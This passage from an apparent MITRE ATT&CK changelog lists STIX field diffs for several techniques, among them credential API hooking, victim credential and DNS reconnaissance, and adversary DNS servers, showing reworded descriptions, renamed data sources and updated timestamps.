| > | tation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInf | > | tation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInf | ||
| > | oSecurity Dynamic Hooking 2015) * **Inline hooking**, which | > | oSecurity Dynamic Hooking 2015) * **Inline hooking**, which | ||
| > | overwrites the first bytes in an API function to redirect co | > | overwrites the first bytes in an API function to redirect co | ||
| > | de flow.(Citation: Endgame Process Injection July 2017)(Cita | > | de flow.(Citation: Elastic Process Injection July 2017)(Cita | ||
| > | tion: HighTech Bridge Inline Hooking Sept 2011)(Citation: MW | > | tion: HighTech Bridge Inline Hooking Sept 2011)(Citation: MW | ||
| > | RInfoSecurity Dynamic Hooking 2015) | > | RInfoSecurity Dynamic Hooking 2015) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 21:29:13.565000+00:00 | 2020-11-10 18:29:31.138000+00:00 |
| description | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Endgame Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Endgame Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Endgame Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) |
| external_references[3]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Windows event logs | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Binary file metadata | |
| x_mitre_data_sources | API monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather credent | t | 1 | Adversaries may gather credentials that can be used during t |
| > | ials that can be used during targeting. Account credentials | > | argeting. Account credentials gathered by adversaries may be | ||
| > | gathered by adversaries may be those directly associated wit | > | those directly associated with the target victim organizati | ||
| > | h the target victim organization or attempt to take advantag | > | on or attempt to take advantage of the tendency for users to | ||
| > | e of the tendency for users to use the same passwords across | > | use the same passwords across personal and business account | ||
| > | personal and business accounts. Adversaries may gather cre | > | s. Adversaries may gather credentials from potential victim | ||
| > | dentials from potential victims in various ways, such as dir | > | s in various ways, such as direct elicitation via [Phishing | ||
| > | ect elicitation via [Phishing for Information](https://attac | > | for Information](https://attack.mitre.org/techniques/T1598). | ||
| > | k.mitre.org/techniques/T1598). Adversaries may also compromi | > | Adversaries may also compromise sites then include maliciou | ||
| > | se sites then include malicious content designed to collect | > | s content designed to collect website authentication cookies | ||
| > | website authentication cookies from visitors.(Citation: ATT | > | from visitors.(Citation: ATT ScanBox) Credential informatio | ||
| > | ScanBox) Credential information may also be exposed to adver | > | n may also be exposed to adversaries via leaks to online or | ||
| > | saries via leaks to online or other accessible data sets (ex | > | other accessible data sets (ex: [Search Engines](https://att | ||
| > | : [Search Engines](https://attack.mitre.org/techniques/T1593 | > | ack.mitre.org/techniques/T1593/002), breach dumps, code repo | ||
| > | /002), breach dumps, code repositories, etc.).(Citation: Reg | > | sitories, etc.).(Citation: Register Deloitte)(Citation: Regi | ||
| > | ister Deloitte)(Citation: Register Uber)(Citation: Detectify | > | ster Uber)(Citation: Detectify Slack Tokens)(Citation: Forbe | ||
| > | Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitH | > | s GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHu | ||
| > | ub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks | > | b Gitrob)(Citation: CNET Leaks) Adversaries may also purchas | ||
| > | ) Adversaries may also purchase credentials from dark web or | > | e credentials from dark web or other black-markets. Gatherin | ||
| > | other black-markets. Gathering this information may reveal | > | g this information may reveal opportunities for other forms | ||
| > | opportunities for other forms of reconnaissance (ex: [Search | > | of reconnaissance (ex: [Search Open Websites/Domains](https: | ||
| > | Open Websites/Domains](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1593) or [Phishing for Inform | ||
| > | T1593) or [Phishing for Information](https://attack.mitre.or | > | ation](https://attack.mitre.org/techniques/T1598)), establis | ||
| > | g/techniques/T1598)), establishing operational resources (ex | > | hing operational resources (ex: [Compromise Accounts](https: | ||
| > | : [Compromise Accounts](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1586)), and/or initial access | ||
| > | T1586)), and/or initial access (ex: [External Remote Service | > | (ex: [External Remote Services](https://attack.mitre.org/te | ||
| > | s](https://attack.mitre.org/techniques/T1133) or [Valid Acco | > | chniques/T1133) or [Valid Accounts](https://attack.mitre.org | ||
| > | unts](https://attack.mitre.org/techniques/T1078)). | > | /techniques/T1078)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-27 02:27:31.090000+00:00 | 2021-04-15 03:26:44.352000+00:00 |
| description | Before compromising a victim, adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 18:40:15.564000+00:00 | 2021-04-29 21:00:19.428000+00:00 |
| x_mitre_data_sources[0] | PowerShell logs | Process: Process Creation |
| x_mitre_data_sources[1] | API monitoring | File: File Access |
| x_mitre_data_sources[2] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[3] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[4] | System calls | Process: Process Access |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:46:23.547000+00:00 | 2021-04-22 20:20:14.595000+00:00 |
| x_mitre_data_sources[0] | Windows event logs | Active Directory: Active Directory Object Access |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ExtraHop | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's DNS th |
| > | tion about the victim's DNS that can be used during targetin | > | at can be used during targeting. DNS information may include | ||
| > | g. DNS information may include a variety of details, includi | > | a variety of details, including registered name servers as | ||
| > | ng registered name servers as well as records that outline a | > | well as records that outline addressing for a target’s subdo | ||
| > | ddressing for a target’s subdomains, mail servers, and other | > | mains, mail servers, and other hosts. Adversaries may gathe | ||
| > | hosts. Adversaries may gather this information in various | > | r this information in various ways, such as querying or othe | ||
| > | ways, such as querying or otherwise collecting details via [ | > | rwise collecting details via [DNS/Passive DNS](https://attac | ||
| > | DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/0 | > | k.mitre.org/techniques/T1596/001). DNS information may also | ||
| > | 01). DNS information may also be exposed to adversaries via | > | be exposed to adversaries via online or other accessible dat | ||
| > | online or other accessible data sets (ex: [Search Open Techn | > | a sets (ex: [Search Open Technical Databases](https://attack | ||
| > | ical Databases](https://attack.mitre.org/techniques/T1596)). | > | .mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citat | ||
| > | (Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gather | > | ion: Circl Passive DNS) Gathering this information may revea | ||
| > | ing this information may reveal opportunities for other form | > | l opportunities for other forms of reconnaissance (ex: [Sear | ||
| > | s of reconnaissance (ex: [Search Open Technical Databases](h | > | ch Open Technical Databases](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1596), [Search Open Webs | > | ques/T1596), [Search Open Websites/Domains](https://attack.m | ||
| > | ites/Domains](https://attack.mitre.org/techniques/T1593), or | > | itre.org/techniques/T1593), or [Active Scanning](https://att | ||
| > | [Active Scanning](https://attack.mitre.org/techniques/T1595 | > | ack.mitre.org/techniques/T1595)), establishing operational r | ||
| > | )), establishing operational resources (ex: [Acquire Infrast | > | esources (ex: [Acquire Infrastructure](https://attack.mitre. | ||
| > | ructure](https://attack.mitre.org/techniques/T1583) or [Comp | > | org/techniques/T1583) or [Compromise Infrastructure](https:/ | ||
| > | romise Infrastructure](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1584)), and/or initial access | ||
| > | 1584)), and/or initial access (ex: [External Remote Services | > | (ex: [External Remote Services](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1133)). | > | hniques/T1133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:02:39.701000+00:00 | 2021-04-15 03:29:18.740000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may set up their o | t | 1 | Adversaries may set up their own Domain Name System (DNS) se |
| > | wn Domain Name System (DNS) servers that can be used during | > | rvers that can be used during targeting. During post-comprom | ||
| > | targeting. During post-compromise activity, adversaries may | > | ise activity, adversaries may utilize DNS traffic for variou | ||
| > | utilize DNS traffic for various tasks, including for Command | > | s tasks, including for Command and Control (ex: [Application | ||
| > | and Control (ex: [Application Layer Protocol](https://attac | > | Layer Protocol](https://attack.mitre.org/techniques/T1071)) | ||
| > | k.mitre.org/techniques/T1071)). Instead of hijacking existin | > | . Instead of hijacking existing DNS servers, adversaries may | ||
| > | g DNS servers, adversaries may opt to configure and run thei | > | opt to configure and run their own DNS servers in support o | ||
| > | r own DNS servers in support of operations. By running thei | > | f operations. By running their own DNS servers, adversaries | ||
| > | r own DNS servers, adversaries can have more control over ho | > | can have more control over how they administer server-side | ||
| > | w they administer server-side DNS C2 traffic ([DNS](https:// | > | DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1071/004)). With control over a | > | 071/004)). With control over a DNS server, adversaries can c | ||
| > | DNS server, adversaries can configure DNS applications to p | > | onfigure DNS applications to provide conditional responses t | ||
| > | rovide conditional responses to malware and, generally, have | > | o malware and, generally, have more flexibility in the struc | ||
| > | more flexibility in the structure of the DNS-based C2 chann | > | ture of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2 | ||
| > | el.(Citation: Unit42 DNS Mar 2019) | > | 019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 00:11:26.376000+00:00 | 2021-04-15 02:49:49.702000+00:00 |
| description | Before compromising a victim, adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019) | Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party DNS servers that can |
| > | rd-party DNS servers that can be used during targeting. Duri | > | be used during targeting. During post-compromise activity, a | ||
| > | ng post-compromise activity, adversaries may utilize DNS tra | > | dversaries may utilize DNS traffic for various tasks, includ | ||
| > | ffic for various tasks, including for Command and Control (e | > | ing for Command and Control (ex: [Application Layer Protocol | ||
| > | x: [Application Layer Protocol](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1071)). Instead of se | ||
| > | hniques/T1071)). Instead of setting up their own DNS servers | > | tting up their own DNS servers, adversaries may compromise t | ||
| > | , adversaries may compromise third-party DNS servers in supp | > | hird-party DNS servers in support of operations. By comprom | ||
| > | ort of operations. By compromising DNS servers, adversaries | > | ising DNS servers, adversaries can alter DNS records. Such c | ||
| > | can alter DNS records. Such control can allow for redirecti | > | ontrol can allow for redirection of an organization's traffi | ||
| > | on of an organization's traffic, facilitating Collection and | > | c, facilitating Collection and Credential Access efforts for | ||
| > | Credential Access efforts for the adversary.(Citation: Talo | > | the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio | ||
| > | s DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Ad | > | n: FireEye DNS Hijack 2019) Adversaries may also be able to | ||
| > | versaries may also be able to silently create subdomains poi | > | silently create subdomains pointed at malicious servers with | ||
| > | nted at malicious servers without tipping off the actual own | > | out tipping off the actual owner of the DNS server.(Citation | ||
| > | er of the DNS server.(Citation: CiscoAngler)(Citation: Proof | > | : CiscoAngler)(Citation: Proofpoint Domain Shadowing) | ||
| > | point Domain Shadowing) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 01:22:53.922000+00:00 | 2021-04-15 03:01:54.609000+00:00 |
| description | Before compromising a victim, adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) | Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search DNS dat | t | 1 | Adversaries may search DNS data for information about victim |
| > | a for information about victims that can be used during targ | > | s that can be used during targeting. DNS information may inc | ||
| > | eting. DNS information may include a variety of details, inc | > | lude a variety of details, including registered name servers | ||
| > | luding registered name servers as well as records that outli | > | as well as records that outline addressing for a target’s s | ||
| > | ne addressing for a target’s subdomains, mail servers, and o | > | ubdomains, mail servers, and other hosts. Adversaries may s | ||
| > | ther hosts. Adversaries may search DNS data to gather actio | > | earch DNS data to gather actionable information. Threat acto | ||
| > | nable information. Threat actors can query nameservers for a | > | rs can query nameservers for a target organization directly, | ||
| > | target organization directly, or search through centralized | > | or search through centralized repositories of logged DNS qu | ||
| > | repositories of logged DNS query responses (known as passiv | > | ery responses (known as passive DNS).(Citation: DNS Dumpster | ||
| > | e DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) | > | )(Citation: Circl Passive DNS) Adversaries may also seek and | ||
| > | Adversaries may also seek and target DNS misconfigurations/ | > | target DNS misconfigurations/leaks that reveal information | ||
| > | leaks that reveal information about internal networks. Infor | > | about internal networks. Information from these sources may | ||
| > | mation from these sources may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Search Victim-Owned Websites] | > | [Search Victim-Owned Websites](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1594) or [Search Open | > | niques/T1594) or [Search Open Websites/Domains](https://atta | ||
| > | Websites/Domains](https://attack.mitre.org/techniques/T1593) | > | ck.mitre.org/techniques/T1593)), establishing operational re | ||
| > | ), establishing operational resources (ex: [Acquire Infrastr | > | sources (ex: [Acquire Infrastructure](https://attack.mitre.o | ||
| > | ucture](https://attack.mitre.org/techniques/T1583) or [Compr | > | rg/techniques/T1583) or [Compromise Infrastructure](https:// | ||
| > | omise Infrastructure](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1584)), and/or initial access ( | ||
| > | 584)), and/or initial access (ex: [External Remote Services] | > | ex: [External Remote Services](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1133) or [Trusted Rela | > | niques/T1133) or [Trusted Relationship](https://attack.mitre | ||
| > | tionship](https://attack.mitre.org/techniques/T1199)). | > | .org/techniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:19:40.584000+00:00 | 2021-04-15 03:49:13.409000+00:00 |
| description | Before compromising a victim, adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 23:16:20.202000+00:00 | 2021-04-24 14:04:16.371000+00:00 |
| x_mitre_data_sources[0] | Packet capture | File: File Metadata |
| x_mitre_data_sources[1] | Network protocol analysis | Process: OS API Execution |
| x_mitre_data_sources[2] | File monitoring | File: File Creation |
| x_mitre_data_sources[3] | Application logs | File: File Deletion |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather the vic | t | 1 | Adversaries may gather the victim's physical location(s) tha |
| > | tim's physical location(s) that can be used during targeting | > | t can be used during targeting. Information about physical l | ||
| > | . Information about physical locations of a target organizat | > | ocations of a target organization may include a variety of d | ||
| > | ion may include a variety of details, including where key re | > | etails, including where key resources and infrastructure are | ||
| > | sources and infrastructure are housed. Physical locations ma | > | housed. Physical locations may also indicate what legal jur | ||
| > | y also indicate what legal jurisdiction and/or authorities t | > | isdiction and/or authorities the victim operates within. Ad | ||
| > | he victim operates within. Adversaries may gather this info | > | versaries may gather this information in various ways, such | ||
| > | rmation in various ways, such as direct elicitation via [Phi | > | as direct elicitation via [Phishing for Information](https:/ | ||
| > | shing for Information](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1598). Physical locations of a | ||
| > | 1598). Physical locations of a target organization may also | > | target organization may also be exposed to adversaries via | ||
| > | be exposed to adversaries via online or other accessible dat | > | online or other accessible data sets (ex: [Search Victim-Own | ||
| > | a sets (ex: [Search Victim-Owned Websites](https://attack.mi | > | ed Websites](https://attack.mitre.org/techniques/T1594) or [ | ||
| > | tre.org/techniques/T1594) or [Social Media](https://attack.m | > | Social Media](https://attack.mitre.org/techniques/T1593/001) | ||
| > | itre.org/techniques/T1593/001)).(Citation: ThreatPost Broadv | > | ).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Busin | ||
| > | oice Leak)(Citation: DOB Business Lookup) Gathering this inf | > | ess Lookup) Gathering this information may reveal opportunit | ||
| > | ormation may reveal opportunities for other forms of reconna | > | ies for other forms of reconnaissance (ex: [Phishing for Inf | ||
| > | issance (ex: [Phishing for Information](https://attack.mitre | > | ormation](https://attack.mitre.org/techniques/T1598) or [Sea | ||
| > | .org/techniques/T1598) or [Search Open Websites/Domains](htt | > | rch Open Websites/Domains](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1593)), establishing opera | > | es/T1593)), establishing operational resources (ex: [Develop | ||
| > | tional resources (ex: [Develop Capabilities](https://attack. | > | Capabilities](https://attack.mitre.org/techniques/T1587) or | ||
| > | mitre.org/techniques/T1587) or [Obtain Capabilities](https:/ | > | [Obtain Capabilities](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1588)), and/or initial access | > | 1588)), and/or initial access (ex: [Phishing](https://attack | ||
| > | (ex: [Phishing](https://attack.mitre.org/techniques/T1566) o | > | .mitre.org/techniques/T1566) or [Hardware Additions](https:/ | ||
| > | r [Hardware Additions](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1200)). | ||
| > | 1200)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:09:48.419000+00:00 | 2021-04-15 03:37:35.863000+00:00 |
| description | Before compromising a victim, adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). | Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for 